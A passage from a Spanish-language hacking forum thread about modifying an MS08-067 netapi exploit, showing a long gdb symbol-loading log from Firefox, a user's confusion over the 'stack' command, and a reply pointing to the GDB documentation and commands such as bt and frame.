Leyendo símbolos desde /usr/lib/libXi.so.6...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXi.so.6
Leyendo símbolos desde /usr/lib/libXrandr.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXrandr.so.2
Leyendo símbolos desde /usr/lib/libXcursor.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXcursor.so.1
Leyendo símbolos desde /lib/tls/i686/cmov/libresolv.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/tls/i686/cmov/libresolv.so.2
Leyendo símbolos desde /lib/libselinux.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libselinux.so.1
Leyendo símbolos desde /usr/lib/libSM.so.6...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libSM.so.6
Leyendo símbolos desde /usr/lib/libxcb-aux.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libxcb-aux.so.0
Leyendo símbolos desde /usr/lib/libxcb-event.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libxcb-event.so.1
Leyendo símbolos desde /usr/lib/libxcb-atom.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libxcb-atom.so.1
Leyendo símbolos desde /usr/lib/libICE.so.6...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libICE.so.6
Leyendo símbolos desde /usr/lib/libXau.so.6...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXau.so.6
Leyendo símbolos desde /usr/lib/libXdmcp.so.6...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXdmcp.so.6
Leyendo símbolos desde /lib/libuuid.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libuuid.so.1
Leyendo símbolos desde /usr/lib/xulrunner-1.9.1.6/libxpcom.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/xulrunner-1.9.1.6/libxpcom.so
Leyendo símbolos desde /lib/tls/i686/cmov/libnss_compat.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/tls/i686/cmov/libnss_compat.so.2
Leyendo símbolos desde /lib/tls/i686/cmov/libnsl.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/tls/i686/cmov/libnsl.so.1
Leyendo símbolos desde /lib/tls/i686/cmov/libnss_nis.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/tls/i686/cmov/libnss_nis.so.2
Leyendo símbolos desde /lib/tls/i686/cmov/libnss_files.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/tls/i686/cmov/libnss_files.so.2
Leyendo símbolos desde /usr/lib/gtk-2.0/modules/libcanberra-gtk-module.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/gtk-2.0/modules/libcanberra-gtk-module.so
Leyendo símbolos desde /usr/lib/libcanberra-gtk.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libcanberra-gtk.so.0
Leyendo símbolos desde /usr/lib/libcanberra.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libcanberra.so.0
Leyendo símbolos desde /usr/lib/libvorbisfile.so.3...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libvorbisfile.so.3
Leyendo símbolos desde /usr/lib/libvorbis.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libvorbis.so.0
Leyendo símbolos desde /usr/lib/libogg.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libogg.so.0
Leyendo símbolos desde /usr/lib/libtdb.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libtdb.so.1
Leyendo símbolos desde /usr/lib/libltdl.so.7...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libltdl.so.7
Leyendo símbolos desde /usr/lib/gtk-2.0/2.10.0/engines/libmurrine.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/gtk-2.0/2.10.0/engines/libmurrine.so
Leyendo símbolos desde /usr/lib/libgnomeui-2.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgnomeui-2.so.0
Leyendo símbolos desde /usr/lib/libxml2.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libxml2.so.2
Leyendo símbolos desde /usr/lib/libbonoboui-2.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libbonoboui-2.so.0
Leyendo símbolos desde /usr/lib/libgnomecanvas-2.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgnomecanvas-2.so.0
Leyendo símbolos desde /usr/lib/libgnome-2.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgnome-2.so.0
Leyendo símbolos desde /usr/lib/libart_lgpl_2.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libart_lgpl_2.so.2
Leyendo símbolos desde /usr/lib/libbonobo-2.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libbonobo-2.so.0
Leyendo símbolos desde /usr/lib/libbonobo-activation.so.4...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libbonobo-activation.so.4
Leyendo símbolos desde /usr/lib/libORBit-2.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libORBit-2.so.0
Leyendo símbolos desde /usr/lib/libgnomevfs-2.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgnomevfs-2.so.0
Leyendo símbolos desde /usr/lib/libgconf-2.so.4...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgconf-2.so.4
Leyendo símbolos desde /usr/lib/libgnome-keyring.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgnome-keyring.so.0
Leyendo símbolos desde /lib/libpopt.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libpopt.so.0
Leyendo símbolos desde /usr/lib/libgailutil.so.18...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgailutil.so.18
Leyendo símbolos desde /usr/lib/libesd.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libesd.so.0
Leyendo símbolos desde /usr/lib/libaudiofile.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libaudiofile.so.0
Leyendo símbolos desde /usr/lib/libORBitCosNaming-2.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libORBitCosNaming-2.so.0
Leyendo símbolos desde /usr/lib/libgnutls.so.26...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgnutls.so.26
Leyendo símbolos desde /usr/lib/libavahi-glib.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libavahi-glib.so.1
Leyendo símbolos desde /usr/lib/libavahi-common.so.3...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libavahi-common.so.3
Leyendo símbolos desde /usr/lib/libavahi-client.so.3...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libavahi-client.so.3
Leyendo símbolos desde /lib/tls/i686/cmov/libutil.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/tls/i686/cmov/libutil.so.1
Leyendo símbolos desde /usr/lib/libtasn1.so.3...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libtasn1.so.3
Leyendo símbolos desde /lib/libgcrypt.so.11...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libgcrypt.so.11
Leyendo símbolos desde /lib/libgpg-error.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libgpg-error.so.0
Leyendo símbolos desde /usr/lib/gconv/UTF-16.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/gconv/UTF-16.so
Leyendo símbolos desde /usr/lib/firefox-3.5.6/components/libbrowserdirprovider.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/firefox-3.5.6/components/libbrowserdirprovider.so
Leyendo símbolos desde /usr/lib/xulrunner-1.9.1.6/components/libdbusservice.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/xulrunner-1.9.1.6/components/libdbusservice.so
Leyendo símbolos desde /usr/lib/xulrunner-1.9.1.6/components/libimgicon.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/xulrunner-1.9.1.6/components/libimgicon.so
Leyendo símbolos desde /usr/lib/pango/1.6.0/modules/pango-basic-fc.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/pango/1.6.0/modules/pango-basic-fc.so
Leyendo símbolos desde /usr/lib/firefox-3.5.6/components/libbrowsercomps.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/firefox-3.5.6/components/libbrowsercomps.so
Leyendo símbolos desde /usr/lib/gtk-2.0/2.10.0/loaders/libpixbufloader-png.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/gtk-2.0/2.10.0/loaders/libpixbufloader-png.so
Leyendo símbolos desde /usr/lib/firefox-3.5.6/components/libnkgnomevfs.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/firefox-3.5.6/components/libnkgnomevfs.so
Leyendo símbolos desde /usr/lib/libXss.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libXss.so.1
Leyendo símbolos desde /usr/lib/gio/modules/libgioremote-volume-monitor.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/gio/modules/libgioremote-volume-monitor.so
Leyendo símbolos desde /usr/lib/libgvfscommon.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgvfscommon.so.0
Leyendo símbolos desde /usr/lib/gio/modules/libgvfsdbus.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/gio/modules/libgvfsdbus.so
Leyendo símbolos desde /lib/libudev.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libudev.so.0
Leyendo símbolos desde /usr/lib/gtk-2.0/2.10.0/loaders/svg_loader.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/gtk-2.0/2.10.0/loaders/svg_loader.so
Leyendo símbolos desde /usr/lib/librsvg-2.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/librsvg-2.so.2
Leyendo símbolos desde /usr/lib/libgsf-1.so.114...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgsf-1.so.114
Leyendo símbolos desde /usr/lib/libcroco-0.6.so.3...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libcroco-0.6.so.3
Leyendo símbolos desde /lib/libbz2.so.1.0...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libbz2.so.1.0
Leyendo símbolos desde /usr/lib/xulrunner-1.9.1.6/components/libmozgnome.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/xulrunner-1.9.1.6/components/libmozgnome.so
Leyendo símbolos desde /usr/lib/gnome-vfs-2.0/modules/libfile.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/gnome-vfs-2.0/modules/libfile.so
Leyendo símbolos desde /lib/libacl.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libacl.so.1
Leyendo símbolos desde /usr/lib/libfam.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libfam.so.0
Leyendo símbolos desde /lib/libattr.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libattr.so.1
Leyendo símbolos desde /usr/lib/flashplugin-installer/libflashplayer.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/flashplugin-installer/libflashplayer.so
Leyendo símbolos desde /usr/lib/mozilla/plugins/libtotem-cone-plugin.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/mozilla/plugins/libtotem-cone-plugin.so
Leyendo símbolos desde /usr/lib/libtotem-plparser-mini.so.12...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libtotem-plparser-mini.so.12
Leyendo símbolos desde /usr/lib/mozilla/plugins/libtotem-gmp-plugin.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/mozilla/plugins/libtotem-gmp-plugin.so
Leyendo símbolos desde /usr/lib/mozilla/plugins/libtotem-mully-plugin.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/mozilla/plugins/libtotem-mully-plugin.so
Leyendo símbolos desde /usr/lib/mozilla/plugins/libtotem-narrowspace-plugin.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/mozilla/plugins/libtotem-narrowspace-plugin.so
Leyendo símbolos desde /usr/lib/mozilla/plugins/gecko-mediaplayer-dvx.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/mozilla/plugins/gecko-mediaplayer-dvx.so
Leyendo símbolos desde /usr/lib/mozilla/plugins/gecko-mediaplayer-qt.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/mozilla/plugins/gecko-mediaplayer-qt.so
Leyendo símbolos desde /usr/lib/mozilla/plugins/gecko-mediaplayer-rm.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/mozilla/plugins/gecko-mediaplayer-rm.so
Leyendo símbolos desde /usr/lib/mozilla/plugins/gecko-mediaplayer-wmp.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/mozilla/plugins/gecko-mediaplayer-wmp.so
Leyendo símbolos desde /usr/lib/mozilla/plugins/gecko-mediaplayer.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/mozilla/plugins/gecko-mediaplayer.so
Leyendo símbolos desde /usr/lib/mozilla/plugins/librhythmbox-itms-detection-plugin.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/mozilla/plugins/librhythmbox-itms-detection-plugin.so
Leyendo símbolos desde /usr/lib/nss/libsoftokn3.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/nss/libsoftokn3.so
Leyendo símbolos desde /usr/lib/nss/libnssdbm3.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/nss/libnssdbm3.so
Leyendo símbolos desde /usr/lib/nss/libfreebl3.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/nss/libfreebl3.so
Leyendo símbolos desde /usr/lib/nss/libnssckbi.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/nss/libnssckbi.so
Leyendo símbolos desde /usr/lib/gtk-2.0/2.10.0/immodules/im-ibus.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/gtk-2.0/2.10.0/immodules/im-ibus.so
Leyendo símbolos desde /usr/lib/libibus.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libibus.so.1
Leyendo símbolos desde /lib/libnss_mdns4_minimal.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libnss_mdns4_minimal.so.2
Leyendo símbolos desde /lib/tls/i686/cmov/libnss_dns.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/tls/i686/cmov/libnss_dns.so.2
Leyendo símbolos desde /usr/lib/libcurl.so.4...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libcurl.so.4
Leyendo símbolos desde /usr/lib/libidn.so.11...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libidn.so.11
Leyendo símbolos desde /usr/lib/liblber-2.4.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/liblber-2.4.so.2
Leyendo símbolos desde /usr/lib/libldap_r-2.4.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libldap_r-2.4.so.2
Leyendo símbolos desde /usr/lib/libgssapi_krb5.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libgssapi_krb5.so.2
Leyendo símbolos desde /lib/i686/cmov/libssl.so.0.9.8...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/i686/cmov/libssl.so.0.9.8
Leyendo símbolos desde /lib/i686/cmov/libcrypto.so.0.9.8...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/i686/cmov/libcrypto.so.0.9.8
Leyendo símbolos desde /usr/lib/libsasl2.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libsasl2.so.2
Leyendo símbolos desde /usr/lib/libkrb5.so.3...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libkrb5.so.3
Leyendo símbolos desde /usr/lib/libk5crypto.so.3...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libk5crypto.so.3
Leyendo símbolos desde /lib/libcom_err.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libcom_err.so.2
Leyendo símbolos desde /usr/lib/libkrb5support.so.0...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/libkrb5support.so.0
Leyendo símbolos desde /lib/libkeyutils.so.1...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libkeyutils.so.1
Leyendo símbolos desde /lib/libnss_mdns4.so.2...(no debugging symbols found)...hecho.
Símbolos cargados para /lib/libnss_mdns4.so.2
Leyendo símbolos desde /usr/lib/pango/1.6.0/modules/pango-arabic-lang.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/pango/1.6.0/modules/pango-arabic-lang.so
Leyendo símbolos desde /usr/lib/pango/1.6.0/modules/pango-arabic-fc.so...(no debugging symbols found)...hecho.
Símbolos cargados para /usr/lib/pango/1.6.0/modules/pango-arabic-fc.so
0x00214422 in __kernel_vsyscall ()
(gdb) stack
command indefinida: "stack". Intente con "help"
(gdb) help
List of classes of commands:

aliases -- Alias de otras órdenes
breakpoints -- Para el programa en ciertos puntos
data -- Examinando datos
files -- Especificando y examinando archivos
internals -- Comandos de mantenimiento
obscure -- Obscure features
running -- Corriendo el programa
stack -- Examining the stack
status -- Preguntas de estado
support -- Facilidades de soporte
tracepoints -- Tracing of program execution without stopping the program
user-defined -- User-defined commands

Type "help" followed by a class name for a list of commands in that class.
Type "help all" for the list of all commands.
Type "help" followed by command name for full documentation.
Type "apropos word" to search for commands related to "word".
Command name abbreviations are allowed if unambiguous.
(gdb) help stack
Examining the stack.
The stack is made up of stack frames.  Gdb assigns numbers to stack frames
counting from zero for the innermost (currently executing) frame.

At any time gdb identifies one frame as the "selected" frame.
Variable lookups are done with respect to the selected frame.
When the program being debugged stops, gdb selects the innermost frame.
The commands below can be used to select other frames by number or address.

List of commands:

backtrace -- Print backtrace of all stack frames
bt -- Print backtrace of all stack frames
down -- Select and print stack frame called by this one
frame -- Select and print a stack frame
return -- Make selected stack frame return to its caller
select-frame -- Select a stack frame without printing anything
up -- Select and print stack frame that called this one

Type "help" followed by command name for full documentation.
Type "apropos word" to search for commands related to "word".
Command name abbreviations are allowed if unambiguous.
(gdb) stack up
command indefinida: "stack". Intente con "help"

A eso me refiero...
En línea

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Modificando ms08_07_netapi para correcto uso
« Respuesta #5 en: 8 Enero 2010, 22:32 »

A ok, te recomiendo que leas la documentación de gdb de acuerdo a la versión que tengas instalada.

http://www.gnu.org/software/gdb/documentation/

para ver la pila ocupas otros comandos. como bt, frame, etc..

Saludos
En línea

Bien Super Divertido
@wifigdlmx
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines